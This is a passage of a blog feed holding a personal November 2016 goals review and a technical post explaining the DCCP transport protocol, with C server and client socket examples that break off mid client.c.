but I have major &lt;strong&gt;issues with …&lt;/strong&gt;&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Wed, 14 Dec 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/is-moving-to-the-bay-area-worth-it.html</guid></item><item><title>November 2016 Review</title><link>https://josh.works/growth/2016/12/14/november-2016-review/</link><description>&lt;p&gt;Note to the reader: The words that follow are all about me. This is naval-gaze-ish. I feel I owe you this warning.&lt;/p&gt;

&lt;p&gt;My &lt;a href="/november-2016-goals"&gt;November goals&lt;/a&gt; were an extension of October’s goals. I feel comfortable with long-term unchanging goals.&lt;/p&gt;

&lt;p&gt;They were:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;Deepen my knowledge of front-end web development&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Climb 5.13&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Get “Climber’s Guide” rolling.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;An attentive reader might notice that these goals violate all best practices for setting good goals. They’re supposed to be “Specific, Measurable, Actionable/Attainable, Realistic, and Time-boxed”&lt;/p&gt;

&lt;p&gt;My goals are none of these, but I’ve been able to break each goal down into smaller pieces. That’s the sole way one could make progress.&lt;/p&gt;

&lt;p&gt;My other mistake is that I have too many goals. Three goals is one more goal than I’m comfortable with. I’m going to soon clear item #3 from my plate, and focus on the complimentary goals of software development and climbing hard.&lt;/p&gt;

&lt;p&gt;How am I doing, according to my own internal yardstick?&lt;/p&gt;

&lt;h2 id="front-end-web-development"&gt;Front-end web development&lt;/h2&gt;

&lt;p&gt;I got the recommended pre-work from Turing School, where I’ll be starting their seven-month development program in January. It replaced all other development goals, because reasons.&lt;/p&gt;

&lt;p&gt;I’ve completed their “minimum recommended work”, their “if you have time work”, and am almost done with their “if you’re feeling adventurous” recommended work. At that point I’ll still have six weeks before classes start, so I’ll consult with current students to see what they’d recommend I do next.&lt;/p&gt;

&lt;h2 id="climb-513"&gt;Climb 5.13&lt;/h2&gt;

&lt;p&gt;This has been a bit more of an emotional trip than usual.&lt;/p&gt;

&lt;p&gt;The sequence: Josh is at gym, close to sending climbs two-three grades harder than what he’s used to.&lt;/p&gt;

&lt;p&gt;Josh meets folks who are super cool, climb super hard, and want to do the same 5.13 at Clear Creek.&lt;/p&gt;

&lt;p&gt;Josh &amp;amp; co meet up the next day.&lt;/p&gt;

&lt;p&gt;Josh warms up on the easiest line at the crag. Super casual climbing. Last three moves are a smidge hard. Josh is lazy, goes for a bad low hold instead of good higher hold.&lt;/p&gt;

&lt;p&gt;Josh feels something go “pop” in his wrist.&lt;/p&gt;

&lt;p&gt;Josh gets injured. :(&lt;/p&gt;

&lt;p&gt;I strained something in my wrist. I was numb and/or tingly for five days, though my strength is returning. I didn’t climb for almost two weeks, and am now easing back into climbing.&lt;/p&gt;

&lt;p&gt;I’ve done v1-v3 bouldering circuits, and am easing back through v4 and v5. I got back on routes for the first time in a while this week, and have pushed back up into easy 5.12. I feel 70% recovered.&lt;/p&gt;

&lt;p&gt;Now, though, I don’t have a chance to send 5.13 this year, but if I keep recovering, I’ll aim for January 2017.&lt;/p&gt;

&lt;h2 id="climbers-guide"&gt;Climber’s Guide&lt;/h2&gt;

&lt;p&gt;Little happened here. I got excited with Turing prework.&lt;/p&gt;

&lt;h1 id="misc"&gt;Misc&lt;/h1&gt;

&lt;h3 id="reading"&gt;Reading&lt;/h3&gt;

&lt;p&gt;Still doing good. I’m at ~70 for the year, should cross the 75 book mark by end of December.&lt;/p&gt;

&lt;p&gt;I just finished
&lt;a href="https://www.amazon.com/Disciplines-Execution-Achieving-Wildly-Important/dp/1491517751"&gt;The 4 Disciplines of Execution&lt;/a&gt;, and want to apply some of those lessons to my own projects.&lt;/p&gt;

&lt;h3 id="phone-usage"&gt;Phone Usage&lt;/h3&gt;

&lt;p&gt;Still low. (Which is good). I’m rolling Anki back into my life with gusto, which is pushing my usage back up, but memorization of programming bits of knowledge is fine with me.&lt;/p&gt;

&lt;p&gt;I’ve written about using Anki for Spanish
&lt;a href="/learning-spanish-conversation-connectors"&gt;here&lt;/a&gt; and
&lt;a href="/2-things-spanish"&gt;here&lt;/a&gt;, but now I’m using it for programming.&lt;/p&gt;

&lt;p&gt;I’ll expand on that soon, but here’s the best summary:
&lt;a href="https://sivers.org/srs"&gt;Derek Sivers on SRS for Programmers&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 14 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2016/12/14/november-2016-review/</guid></item><item><title>DCCP: The socket type you probably never heard of</title><link>https://www.anmolsarma.in/post/dccp/</link><description>&lt;p&gt;&lt;em&gt;TL;DR: DCCP is a relatively newer transport layer protocol which draws from both TCP and UDP. Jump straight to the &lt;a href="#example-in-c"&gt;example C code&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="background"&gt;Background&lt;/h2&gt;
&lt;p&gt;Historically, the majority of the traffic on the Internet has been over &lt;a href="https://en.wikipedia.org/wiki/Transmission_Control_Protocol"&gt;TCP&lt;/a&gt; which provides a reliable connection-oriented stream between two hosts. &lt;a href="https://en.wikipedia.org/wiki/User_Datagram_Protocol"&gt;UDP&lt;/a&gt; has been mainly used by applications whose brief transfers would be unacceptably slowed by TCP&amp;rsquo;s connection establishment overhead or those for which timeliness is more important than reliability. However, the increasing use of UDP for applications such as internet telephony and streaming media which transfer a large amount of data can lead to significant &lt;a href="https://en.wikipedia.org/wiki/Network_congestion"&gt;network congestion&lt;/a&gt;. Since unlike TCP, UDP provides no inherent congestion control mechanism, an application can send UDP datagrams at a much higher rate than the available path capacity and cause congestion along the path. Increased congestion may lead to delays, packet loss and the degradation of the network&amp;rsquo;s quality of service.&lt;/p&gt;
&lt;p&gt;Applications and protocols that choose to use UDP as their transport must, therefore, employ mechanisms to prevent congestion and to establish some degree of fairness with concurrent traffic so that the network remains usable. A prominent example of such a congestion control scheme is &lt;a href="https://en.wikipedia.org/wiki/LEDBAT"&gt;LEDBAT&lt;/a&gt; employed by &lt;a href="https://en.wikipedia.org/wiki/BitTorrent"&gt;BitTorrent&lt;/a&gt;. However, implementing a congestion control scheme is difficult, time-consuming and error-prone. Multiple non-standard implementations also make it difficult to reason about how applications would respond to network congestion. &lt;a href="https://en.wikipedia.org/wiki/Datagram_Congestion_Control_Protocol"&gt;DCCP&lt;/a&gt; - Datagram Congestion Control Protocol is intended to mitigate this problem as a transport for unreliable datagrams with built-in congestion control.&lt;/p&gt;
&lt;p&gt;From an application programmer&amp;rsquo;s perspective, DCCP differs from UDP by providing four additional features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Explicit connection establishment between hosts&lt;/li&gt;
&lt;li&gt;Selectable congestion control schemes&lt;/li&gt;
&lt;li&gt;Path MTU discovery to avoid fragmentation&lt;/li&gt;
&lt;li&gt;Service Codes for identifying applications&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DCCP makes use of Explicit Congestion Notification but it is transparent the  application. DCCP is designed to leave additional functionality such as reliability or Forward Error Correction (FEC) to be layered on top, as and when required rather than at the protocol level itself.&lt;/p&gt;
&lt;h2 id="explicit-connection-establishment"&gt;Explicit connection establishment&lt;/h2&gt;
&lt;p&gt;The connection establishment semantics of DCCP mirror those of TCP with a client that actively connects to a server that is passively listening on a port. DCCP connections are bidirectional. Logically, however, a DCCP connection consists of two separate unidirectional connections, called half-connections. Each half-connection is a one-way, unreliable datagram pipe. The rationale for this explained in the next section.&lt;/p&gt;
&lt;h2 id="selectable-congestion-control-schemes"&gt;Selectable congestion control schemes&lt;/h2&gt;
&lt;p&gt;TCP implements congestion control entirely transparently to the application. While it is possible to configure the host to use a specific variant, there is no way for the application to discover which congestion control scheme is in force, let alone negotiate one. DCCP, however, can cater to the different needs of applications by allowing applications to negotiate the congestion control schemes. In fact, each of the half-connections can use a different scheme, allowing for greater control.&lt;/p&gt;
&lt;p&gt;Congesting the network by sending data at a rate that is faster than the slowest link between the endpoints will overwhelm it. This may lead to packet loss leading to retransmissions which may, in turn, lead to further congestion. The solution to this problem is to start transmitting data at a slow rate on a new connection and to then ramp up the speed until packet loss is detected. The transmission rate may then be scaled back until no further packet loss occurs. The optimum speed at which to transfer data  will change with network conditions over the life of the connection. Congestion control schemes differ in how packet loss is estimated and the rate at which is the transmission speed is ramped up or scaled back. DCCP congestion control schemes are denoted by Congestion Control Identifiers - CCIDs. Currently, three CCIDs have been formally specified:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://tools.ietf.org/html/rfc4341"&gt;CCID 2&lt;/a&gt; -  TCP-like Congestion Control:&lt;/strong&gt; A quick reacting scheme modelled after TCP which will rapidly ramp up speed to take advantage of available bandwidth and also rapidly scale back when congestion is detected. Suitable for applications that can handle large swings in transmission rates.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://tools.ietf.org/html/rfc5348"&gt;CCID 3&lt;/a&gt; - TCP-Friendly Rate Control (TFRC):&lt;/strong&gt; A slower reacting scheme intended to be friendly to concurrent TCP flows in the network. Provides a relatively smoother sending rate at the expense of possibly not utilising all available bandwidth. Suitable for media streaming applications that prefer to minimise abrupt changes in the sending rate.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://tools.ietf.org/html/rfc4828"&gt;CCID 4&lt;/a&gt; - TCP-Friendly Rate Control for Small Packets (TFRC-SP):&lt;/strong&gt; An experimental scheme for applications that use a small datagram size and those that change their sending rate by varying the datagram size.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In addition, the Linux kernel&amp;rsquo;s &lt;a href="https://github.com/uoaerg/linux-dccp"&gt;DCCP Test Tree&lt;/a&gt; contains an experimental implementation of a scheme modelled after &lt;a href="https://en.wikipedia.org/wiki/CUBIC_TCP"&gt;TCP CUBIC&lt;/a&gt;. There is also a mode that disables congestion control altogether for &lt;em&gt;UDP-like&lt;/em&gt; behaviour.&lt;/p&gt;
&lt;h2 id="pmtu-discovery"&gt;PMTU discovery&lt;/h2&gt;
&lt;p&gt;Data between two internet hosts is transferred transmitted as a series of IP packets that pass through intermediate links. Each of these links has a maximum packet size or maximum transmission unit (MTU) that it can transmit without having to break it up into smaller fragments. The largest packet size that does not require fragmentation anywhere along a path is referred to as the path maximum transmission unit or PMTU. Applications can usually get better error tolerance by producing packets smaller than the PMTU. DCCP defines a maximum packet size (MPS) based on the PMTU and the congestion control scheme used for each connection. DCCP implementations will not send any packet bigger than the MPS and instead return an appropriate error to the application. The application can query the DCCP stack for the current MPS and restrict itself from sending datagrams larger than this value and thereby avoid &lt;a href="https://en.wikipedia.org/wiki/IP_fragmentation"&gt;fragmentation&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="service-codes"&gt;Service Codes&lt;/h2&gt;
&lt;p&gt;DCCP defines a 32 bit Service Code to disambiguate between multiple applications associated with a single a server port. The client specifies the Service Code it wants to connect to and this is used to identify the intended service or application to process a DCCP connection request. Essentially, Service Codes provide an additional level of indirection for connection multiplexing. A server listening on a port may be associated with multiple Service Codes but a client may have only one Service Code, indicating the application it wishes to connect to.&lt;/p&gt;
&lt;h2 id="usage"&gt;Usage&lt;/h2&gt;
&lt;p&gt;The mainline Linux kernel has included DCCP support since &lt;a href="https://lwn.net/Articles/149756/"&gt;2.6.14&lt;/a&gt; and mainstream distributions like Ubuntu enable it by default. However, to get the newer experimental features, you will have to build the kernel from the DCCP Test Tree. Or you can also grab the latest stable kernel release merged with the experimental DCCP changes from &lt;a href="https://github.com/unmole/linux-dccp/releases/latest"&gt;here&lt;/a&gt;. Be sure to enable all the CCIDs in the kernel configuration in &lt;em&gt;Networking Support&lt;/em&gt; &amp;ndash;&amp;gt; &lt;em&gt;Networking Options&lt;/em&gt; &amp;ndash;&amp;gt; &lt;em&gt;The DCCP Protocol&lt;/em&gt; &amp;ndash;&amp;gt; &lt;em&gt;DCCP CCIDs Configuration&lt;/em&gt;. Like the Debian Installation Guide Says, &amp;ldquo;&lt;em&gt;Don&amp;rsquo;t be afraid to try compiling the kernel. It&amp;rsquo;s fun and profitable.&lt;/em&gt;&amp;rdquo; For now, Linux is the only operating system supporting native DCCP, unless you count the patch for an ancient version of FreeBSD.&lt;/p&gt;
&lt;h2 id="example-in-c"&gt;Example in C&lt;/h2&gt;
&lt;p&gt;The server and client look almost exactly the same as their TCP counterparts with the exception fo the socket type and setting of the service code. The client uses &lt;em&gt;getsockopt()&lt;/em&gt; to read the current maximum packet size. Reading the available CCIDs on the host is shown in &lt;strong&gt;probe.c&lt;/strong&gt;. As libc doesn&amp;rsquo;t still have a &lt;strong&gt;netinet/dccp.h&lt;/strong&gt; header, you will have to get the required constants from the kernel sources or directly use the &lt;strong&gt;dccp.h&lt;/strong&gt; header below. &lt;a href="https://www.anmolsarma.in/dl/dccp_socket_example.tar.gz"&gt;Download Code&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;server.c&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;code class="language-C"&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;errno.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;&lt;/span&gt;
&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;"dccp.h"&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;&lt;/span&gt;
&lt;span style="color: #080;"&gt;#define PORT 1337
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define SERVICE_CODE 42
&lt;/span&gt;&lt;span style="color: #080;"&gt;&lt;/span&gt;
&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt; &lt;span style="color: #00a000;"&gt;error_exit&lt;/span&gt;(&lt;span style="color: #a2f; font-weight: bold;"&gt;const&lt;/span&gt; &lt;span style="color: #0b0; font-weight: bold;"&gt;char&lt;/span&gt; &lt;span style="color: #666;"&gt;*&lt;/span&gt;str)
{
	perror(str);
	exit(errno);
}

&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt; &lt;span style="color: #00a000;"&gt;main&lt;/span&gt;(&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt; argc, &lt;span style="color: #0b0; font-weight: bold;"&gt;char&lt;/span&gt; &lt;span style="color: #666;"&gt;**&lt;/span&gt;argv)
{
	&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt; listen_sock &lt;span style="color: #666;"&gt;=&lt;/span&gt; socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (listen_sock &lt;span style="color: #666;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: #666;"&gt;0&lt;/span&gt;)
		error_exit(&lt;span style="color: #b44;"&gt;"socket"&lt;/span&gt;);

	&lt;span style="color: #a2f; font-weight: bold;"&gt;struct&lt;/span&gt; sockaddr_in servaddr &lt;span style="color: #666;"&gt;=&lt;/span&gt; {
		.sin_family &lt;span style="color: #666;"&gt;=&lt;/span&gt; AF_INET,
		.sin_addr.s_addr &lt;span style="color: #666;"&gt;=&lt;/span&gt; htonl(INADDR_ANY),
		.sin_port &lt;span style="color: #666;"&gt;=&lt;/span&gt; htons(PORT),
	};

	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, &lt;span style="color: #666;"&gt;&amp;amp;&lt;/span&gt;(&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt;) {
		       &lt;span style="color: #666;"&gt;1&lt;/span&gt;}, &lt;span style="color: #a2f; font-weight: bold;"&gt;sizeof&lt;/span&gt;(&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt;)))
		error_exit(&lt;span style="color: #b44;"&gt;"setsockopt(SO_REUSEADDR)"&lt;/span&gt;);

	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (bind(listen_sock, (&lt;span style="color: #a2f; font-weight: bold;"&gt;struct&lt;/span&gt; sockaddr &lt;span style="color: #666;"&gt;*&lt;/span&gt;)&lt;span style="color: #666;"&gt;&amp;amp;&lt;/span&gt;servaddr, &lt;span style="color: #a2f; font-weight: bold;"&gt;sizeof&lt;/span&gt;(servaddr)))
		error_exit(&lt;span style="color: #b44;"&gt;"bind"&lt;/span&gt;);

	&lt;span style="color: #080; font-style: italic;"&gt;// DCCP mandates the use of a 'Service Code' in addition the port
&lt;/span&gt;&lt;span style="color: #080; font-style: italic;"&gt;&lt;/span&gt;	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (setsockopt(listen_sock, SOL_DCCP, DCCP_SOCKOPT_SERVICE, &lt;span style="color: #666;"&gt;&amp;amp;&lt;/span&gt;(&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt;) {
		       htonl(SERVICE_CODE)}, &lt;span style="color: #a2f; font-weight: bold;"&gt;sizeof&lt;/span&gt;(&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt;)))
		error_exit(&lt;span style="color: #b44;"&gt;"setsockopt(DCCP_SOCKOPT_SERVICE)"&lt;/span&gt;);

	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (listen(listen_sock, &lt;span style="color: #666;"&gt;1&lt;/span&gt;))
		error_exit(&lt;span style="color: #b44;"&gt;"listen"&lt;/span&gt;);

	&lt;span style="color: #a2f; font-weight: bold;"&gt;for&lt;/span&gt; (;;) {

		printf(&lt;span style="color: #b44;"&gt;"Waiting for connection...&lt;/span&gt;&lt;span style="color: #b62; font-weight: bold;"&gt;\n&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt;);

		&lt;span style="color: #a2f; font-weight: bold;"&gt;struct&lt;/span&gt; sockaddr_in client_addr;
		socklen_t addr_len &lt;span style="color: #666;"&gt;=&lt;/span&gt; &lt;span style="color: #a2f; font-weight: bold;"&gt;sizeof&lt;/span&gt;(client_addr);

		&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt; conn_sock &lt;span style="color: #666;"&gt;=&lt;/span&gt; accept(listen_sock, (&lt;span style="color: #a2f; font-weight: bold;"&gt;struct&lt;/span&gt; sockaddr &lt;span style="color: #666;"&gt;*&lt;/span&gt;)&lt;span style="color: #666;"&gt;&amp;amp;&lt;/span&gt;client_addr, &lt;span style="color: #666;"&gt;&amp;amp;&lt;/span&gt;addr_len);
		&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (conn_sock &lt;span style="color: #666;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: #666;"&gt;0&lt;/span&gt;) {
			perror(&lt;span style="color: #b44;"&gt;"accept"&lt;/span&gt;);
			&lt;span style="color: #a2f; font-weight: bold;"&gt;continue&lt;/span&gt;;
		}

		printf(&lt;span style="color: #b44;"&gt;"Connection received from %s:%d&lt;/span&gt;&lt;span style="color: #b62; font-weight: bold;"&gt;\n&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt;,
		       inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));

		&lt;span style="color: #a2f; font-weight: bold;"&gt;for&lt;/span&gt; (;;) {
			&lt;span style="color: #0b0; font-weight: bold;"&gt;char&lt;/span&gt; buffer[&lt;span style="color: #666;"&gt;1024&lt;/span&gt;];
			&lt;span style="color: #080; font-style: italic;"&gt;// Each recv() will read only one individual message.
&lt;/span&gt;&lt;span style="color: #080; font-style: italic;"&gt;&lt;/span&gt;			&lt;span style="color: #080; font-style: italic;"&gt;// Datagrams, not a stream!
&lt;/span&gt;&lt;span style="color: #080; font-style: italic;"&gt;&lt;/span&gt;			&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt; ret &lt;span style="color: #666;"&gt;=&lt;/span&gt; recv(conn_sock, buffer, &lt;span style="color: #a2f; font-weight: bold;"&gt;sizeof&lt;/span&gt;(buffer), &lt;span style="color: #666;"&gt;0&lt;/span&gt;);
			&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (ret &lt;span style="color: #666;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: #666;"&gt;0&lt;/span&gt;)
				printf(&lt;span style="color: #b44;"&gt;"Received: %s&lt;/span&gt;&lt;span style="color: #b62; font-weight: bold;"&gt;\n&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt;, buffer);
			&lt;span style="color: #a2f; font-weight: bold;"&gt;else&lt;/span&gt;
				&lt;span style="color: #a2f; font-weight: bold;"&gt;break&lt;/span&gt;;

		}

		close(conn_sock);
	}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;client.c&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;code class="language-C"&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;errno.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;&lt;/span&gt;
&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;"dccp.h"&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;&lt;/span&gt;
&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt; &lt;span style="color: #00a000;"&gt;error_exit&lt;/span&gt;(&lt;span style="color: #a2f; font-weight: bold;"&gt;const&lt;/span&gt; &lt;span style="color: #0b0; font-weight: bold;"&gt;char&lt;/span&gt; &lt;span style="color: #666;"&gt;*&lt;/span&gt;str)
{
	perror(str);
	exit(errno);
}

&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt; &lt;span style="color: #00a000;"&gt;main&lt;/span&gt;(&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt; argc, &lt;span style="color: #0b0; font-weight: bold;"&gt;char&lt;/span&gt; &lt;span style="color: #666;"&gt;*&lt;/span&gt;argv[])
{
	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (argc &lt;span style="color: #666;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: #666;"&gt;5&lt;/span&gt;) {
		printf(&lt;span style="color: #b44;"&gt;"Usage: ./client &amp;lt;server address&amp;gt; &amp;lt;port&amp;gt; &amp;lt;service code&amp;gt; &amp;lt;message 1&amp;gt; [message 2] ... &lt;/span&gt;&lt;span style="color: #b62; font-weight: bold;"&gt;\n&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt;);
		exit(&lt;span style="color: #666;"&gt;-&lt;/span&gt;&lt;span style="color: #666;"&gt;1&lt;/span&gt;);
	}
	&lt;span style="color: #a2f; font-weight: bold;"&gt;struct&lt;/span&gt; sockaddr_in server_addr &lt;span style="color: #666;"&gt;=&lt;/span&gt; {
		.sin_family &lt;span style="color: #666;"&gt;=&lt;/span&gt; AF_INET,
		.sin_port &lt;span style="color: #666;"&gt;=&lt;/span&gt; htons(atoi(argv[&lt;span style="color: #666;"&gt;2&lt;/span&gt;])),
	};

	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (&lt;span style="color: #666;"&gt;!&lt;/span&gt;inet_pton(AF_INET, argv[&lt;span style="color: #666;"&gt;1&lt;/span&gt;], &lt;span style="color: #666;"&gt;&amp;amp;&lt;/span&gt;server_addr.sin_addr.s_addr)) {
		printf(&lt;span style="color: #b44;"&gt;"Invalid address %s&lt;/span&gt;&lt;span style="color: #b62; font-weight: bold;"&gt;\n&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt;, argv[&lt;span style="color: #666;"&gt;1&lt;/span&gt;]);
		exit(&lt;span style="color: #666;"&gt;-&lt;/span&gt;&lt;span style="color: #666;"&gt;1&lt;/span&gt;);
	}

	&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt; socket_fd &lt;span style="color: #666;"&gt;=&lt;/span&gt; socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (socket_fd &lt;span style="color: #666;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: #666;"&gt;0&lt;/span&gt;)
		error_exit(&lt;span style="color: #b44;"&gt;"socket"&lt;/span&gt;);

	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (setsockopt(socket_fd, SOL_DCCP, DCCP_SOCKOPT_SERVICE, &lt;span style="color: #666;"&gt;&amp;amp;&lt;/span&gt;(&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt;) {htonl(atoi(argv[&lt;span style="color: #666;"&gt;3&lt;/span&gt;]))}, &lt;span style="color: #a2f; font-weight: bold;"&gt;sizeof&lt;/span&gt;(&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt;)))
		error_exit(&lt;span style="color: #b44;"&gt;"setsockopt(DCCP_SOCKOPT_SERVICE)"&lt;/span&gt;);

	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (connect(socket_fd, (&lt;span style="color: #a2f; font-weight: bold;"&gt;struct&lt;/span&gt; sockaddr &lt;span style="color: #666;"&gt;*&lt;/span&gt;) &lt;span style="color: #666;"&gt;&amp;amp;&lt;/span&gt;server_addr, &lt;span style="color: #a2f; font-weight: bold;"&gt;sizeof&lt;/span&gt;(server_addr)))
		error_exit(&lt;span style="color: #b44;"&gt;"connect"&lt;/span&gt;);

	&lt;span style="color: #080; font-style: italic;"&gt;// Get the maximum packet size
&lt;/span&gt;&lt;span style="color: #080; font-style: italic;"&gt;&lt;/span&gt;	uint32_t mps;
	socklen_t res_len &lt;span style="color: #666;"&gt;=&lt;/span&gt; &lt;span style="color: #a2f; font-weight: bold;"&gt;sizeof&lt;/span&gt;(mps);
	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (getsockopt(socket_fd, SOL_DCCP, DCCP_SOCKOPT_GET_CUR_MPS, &lt;span style="color: #666;"&gt;&amp;amp;&lt;/span&gt;mps, &lt;span style="color: #666;"&gt;&amp;amp;&lt;/span&gt;res_len))
		error_exit(&lt;span style="color: #b44;"&gt;"getsockopt(DCCP_SOCKOPT_GET_CUR_MPS)"&lt;/span&gt;);
